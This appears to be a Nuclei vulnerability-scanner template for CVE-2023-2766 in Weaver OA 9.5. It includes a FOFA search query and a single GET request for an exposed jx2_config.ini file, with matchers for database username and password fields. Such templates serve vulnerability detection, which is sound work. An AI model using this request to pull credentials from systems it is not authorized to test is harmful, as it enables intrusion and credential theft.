id: CVE-2023-2766

info:
  name: Weaver OA 9.5 - Information Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    A vulnerability was found in Weaver OA 9.5 and classified as problematic. This issue affects some unknown processing of the file /building/backmgr/urlpage/mobileurl/configfile/jx2_config.ini. The manipulation leads to files or directories accessible. The attack may be initiated remotely.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  reference:
    - https://github.com/8079048q/cve/blob/main/weaveroa.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2766
    - https://vuldb.com/?ctiid.229271
    - https://vuldb.com/?id.229271
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-2766
    cwe-id: CWE-552
    epss-score: 0.05594
    epss-percentile: 0.92514
    cpe: cpe:2.3:a:weaver:weaver_office_automation:9.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: weaver
    product: weaver_office_automation
    fofa-query: app="泛微-EOffice"
  tags: cve,cve2023,weaver,eoffice,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/building/backmgr/urlpage/mobileurl/configfile/jx2_config.ini"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header,"text/plain")'
          - 'contains_all(body, "sdbuser =","sdbpassword =")'
        condition: and
# digest: 490a0046304402200915936c5d59eeb298731bf26627c3be0bc3a9421b24d968de370aa9dab17d75022057f24e87e46685b607602b3e586a1338ad03b86a098bdf647f451127857294ec:922c64590222798bb761d5b6d8e72950